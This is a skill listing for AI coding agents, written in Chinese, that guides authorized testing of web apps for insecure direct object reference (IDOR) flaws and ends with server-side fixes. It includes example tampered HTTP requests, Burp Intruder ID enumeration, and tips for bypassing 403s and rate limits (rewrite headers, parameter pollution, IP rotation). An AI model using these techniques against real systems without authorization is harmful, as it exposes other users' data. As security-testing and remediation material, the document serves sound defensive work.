# Idor Vulnerability Testing

> 当对已授权的 Web 应用做横向/纵向越权（IDOR）评估、需用参数篡改和枚举验证跨用户数据访问时使用；产出可复现的 IDOR 漏洞清单、PoC、受影响端点与修复建议；不适用于无书面授权的目标、纯认证缺失漏洞或访问真实用户敏感数据；触发词：IDOR、越权、Direct Object Reference

- Skill: `findscripter/idor-vulnerability-testing` (Agent Skill)
- Install (CLI): `npx skillmds@latest add findscripter/idor-vulnerability-testing`
- Raw SKILL.md: https://api.skillmd.com/api/skills/findscripter/idor-vulnerability-testing/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- License: MIT
- Author: findscripter (https://skillmd.com/u/findscripter)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/findscripter/idor-vulnerability-testing

---

> 仅限授权使用：本技能只能用于获得书面授权的安全评估、防御验证或受控教学环境。

# IDOR 越权漏洞测试

系统化地发现并验证 Web 应用中的不安全直接对象引用（IDOR）漏洞。覆盖数据库对象引用与静态文件引用两类，使用参数篡改与枚举进行检测，借助 Burp Suite 利用，并给出修复策略。

## 何时使用

适用：
- 对已获书面授权的目标做访问控制测试，怀疑接口仅凭客户端传入的 `id`/`userId`/文件名定位资源，而未校验归属。
- 验证水平越权（用户访问用户）与垂直越权（普通用户访问管理员功能）。
- 至少有两个测试账号（attacker / victim），可对比跨用户访问结果。

不该用（负边界）：
- 没有明确书面授权的任何目标——直接停止。
- 不要访问、修改或外泄真实用户数据；测试只用自建的可识别数据。
- 纯认证缺失（未登录即可访问）属于另一类问题，不在本技能范围。
- 仅会话令牌绑定资源、不接受 ID 入参的场景，IDOR 不成立，转其他向量。

## 步骤

1. 识别引用类型
   - 数据库对象引用：`example.com/user/profile?id=2023` → 改 `id=2022` 试读他人数据。
   - 静态文件引用：`example.com/static/receipt/205.pdf` → 改 `200.pdf` 试取他人文件。

2. 侦察与准备
   - 建两个账号：`attacker`（主测）、`victim`（目标数据）。
   - 定位对象引用位置：URL 路径 `/api/user/123`、查询参数 `?id=123`、请求体 `{"userId":123}`、文件名 `receipt_123.pdf`、UUID `/profile/a1b2c3d4-...`。
   - 摸清 ID 规律：是否连续整数、自增、可预测。

3. 检测
   - URL 参数篡改：保持 attacker 会话，把 `id` 改成 victim 的值，若返回 victim 数据即存在漏洞。
   - 请求体篡改：把 body 里的 `userId` 改成目标值，观察是否越权写入/读取。
   - HTTP 方法切换：`GET` 被 403 时，试 `POST`/`PUT` 是否 200。

4. 利用（Burp Suite）
   - 手动：浏览器代理走 Burp → 登录 attacker → 打开数据页 → Proxy 开 Intercept → 抓含 ID 的请求 → 改成 victim 的 ID → Forward → 看响应。
   - 自动枚举（Intruder）：发送到 Intruder（Ctrl+I）→ 清空 payload 位置 → 仅选 ID 参数 → 攻击类型 Sniper → Payload 选 Numbers，Range 1–10000，Step 1 → Start，筛 200 响应。
   - 多位置同 ID：用 Battering Ram，对 URL 与 body 中的 `§5§` 统一注入。

5. 验证与定级
   - 用 PII 标记（姓名、邮箱、创建时间、元数据）确认数据归属，比较响应长度/时延，给出数据暴露严重度。

## 指令

URL 参数篡改：
```
# 原始请求（attacker 会话）
GET /api/user/profile?id=1001 HTTP/1.1
Cookie: session=attacker_session

# 篡改 ID 指向 victim
GET /api/user/profile?id=1000 HTTP/1.1
Cookie: session=attacker_session
# 若返回 victim 数据 → 存在 IDOR
```

请求体篡改：
```
POST /api/address/update HTTP/1.1
Content-Type: application/json
Cookie: session=attacker_session

{"id": 5, "userId": 1000, "address": "..."}   # userId 由 1001 改为 1000
```

HTTP 方法切换：
```
GET  /api/admin/users/1000 → 403 Forbidden
POST /api/admin/users/1000 → 200 OK  (可能存在漏洞)
PUT  /api/admin/users/1000 → 200 OK  (可能存在漏洞)
```

Burp Intruder 多位置枚举（Battering Ram）：
```
PUT /api/addresses/§5§/update HTTP/1.1

{"id": §5§, "userId": 3}
Payload: Numbers 1-1000
```

常见 IDOR 位置速查：
- API：`/api/user/{id}`、`/api/order/{id}`、`/api/invoice/{id}`、`/api/address/{id}/update|delete`
- 文件下载：`/download/invoice_{id}.pdf`、`/static/receipts/{id}.pdf`、`/uploads/documents/{filename}`
- 查询参数：`?userId=`、`?orderId=`、`?documentId=`、`?file=report_123.pdf`

测试清单：
| 测试 | 方法 | 漏洞特征 |
|---|---|---|
| 增减 ID | `id=5`→`id=4` | 返回他人数据 |
| 用已知 victim ID | 替换为目标 ID | 获取 victim 资源 |
| 范围枚举 | 测 1–1000 | 命中他人有效记录 |
| 负值/0 | `id=-1`/`id=0` | 异常数据或报错 |
| 超大值 | `id=99999999` | 信息泄露 |
| 字符串/UUID | 改格式或改 UUID 片段 | 逻辑绕过/可预测 |

响应解读：
| 状态码 | 含义 |
|---|---|
| 200 | 疑似 IDOR，需核实归属 |
| 403 | 访问控制生效 |
| 404 | 资源不存在 |
| 401 | 需认证 |
| 500 | 可能存在输入校验问题 |

## 示例

示例 1 基础 ID 参数 IDOR：
```
# attacker(userId=1001) 登录后
GET /api/profile?id=1001 ...   # 返回自己数据
GET /api/profile?id=1000 ...   # 返回 victim 数据 → 漏洞
```

示例 2 地址更新越权：
```
PUT /api/addresses/5/update
{"id":5,"userId":1000,"street":"...","city":"..."}  # userId 改为 victim
# 若 200 OK，则地址被挂到 victim 账号下
```

示例 3 静态文件 IDOR：
```
GET /api/download/5 → attacker 的回执 PDF
GET /api/download/3 → victim 的回执 PDF（漏洞）
```

示例 4 水平转垂直提权：
```
GET /api/user/1 → {"role":"user","id":1}
GET /api/user/3 → {"role":"admin","id":3}
# 用普通用户会话访问 /api/admin/dashboard?userId=3
# 若可访问，则实现垂直提权
```

## 注意事项

- 至少需两个有效账号才能验证；部分应用用会话绑定令牌而非 ID。
- UUID 不易枚举但非不可能：从响应体、JS 文件、列表接口、报错信息中找泄露的 UUID；UUID v1 时间相关可尝试预测。
- 速率限制可绕：Intruder 加延时、轮换 IP、只打高价值 ID、换等价端点、错峰测试。
- 全 403 时的备选向量：方法切换、加 `X-Original-URL`/`X-Rewrite-URL` 头、参数污染 `?id=1001&id=1000`、URL 编码（`%31%30%30%30`=1000）、大小写变体。
- 会话绑定资源时：测未认证端点、密码重置/邮箱验证流程、文件上传下载、API 版本（v1 vs v2）、移动端接口（常防护更弱）。
- 盲 IDOR/异步/WebSocket 场景响应不直接确认时，用唯一可识别数据、PII 标记、响应长度与时延差作旁证。
- 合规：仅测授权目标，记录全部测试活动，不碰真实用户数据，按正规渠道披露。

修复要点（服务端始终校验归属，不信任客户端入参）：
```python
# 1. 校验归属
def update_address(request, address_id):
    address = Address.objects.get(id=address_id)
    if address.user != request.user:
        return HttpResponseForbidden("Unauthorized")
    address.update(request.data)

# 2. 用间接引用：/api/address/123 → /api/address/current-user/billing
def get_address(request):
    return Address.objects.filter(user=request.user).first()

# 3. 查询时强制按当前用户过滤
def download_receipt(request, receipt_id):
    receipt = Receipt.objects.filter(id=receipt_id, user=request.user).first()
    if not receipt:
        return HttpResponseNotFound()
    return FileResponse(receipt.file)
```

## 互见

- 访问控制 / 鉴权设计类技能（最小权限、间接引用映射）。
- 枚举与代理工具使用（Burp Suite Intruder、参数污染、编码绕过）。
- 漏洞披露与报告规范。

---
采编自 sickn33/antigravity-awesome-skills（原作者 zebbern，MIT 许可）。

